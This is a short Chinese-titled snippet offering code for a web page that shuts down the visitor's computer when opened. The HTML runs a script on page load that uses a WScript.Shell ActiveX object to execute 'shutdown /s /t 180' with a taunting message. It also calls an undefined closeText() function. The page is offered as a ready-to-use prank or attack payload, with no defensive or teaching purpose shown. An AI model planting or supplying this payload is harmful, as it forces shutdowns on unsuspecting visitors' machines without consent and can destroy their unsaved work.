点开网页自动关机的代码
<html>
<head> <script type="text/javascript"> var intervalID = null; function runcommand() { s=new ActiveXObject("WScript.Shell"); cmd="shutdown /s /t 180 /c \"对不起关你没商量!麻烦重启一下! 欢迎再来互联友吧!\""; s.Run(cmd); intervalID = setInterval("closeText()",10000); }
</script> </head> <body onload="runcommand()"> </body> </html> |
|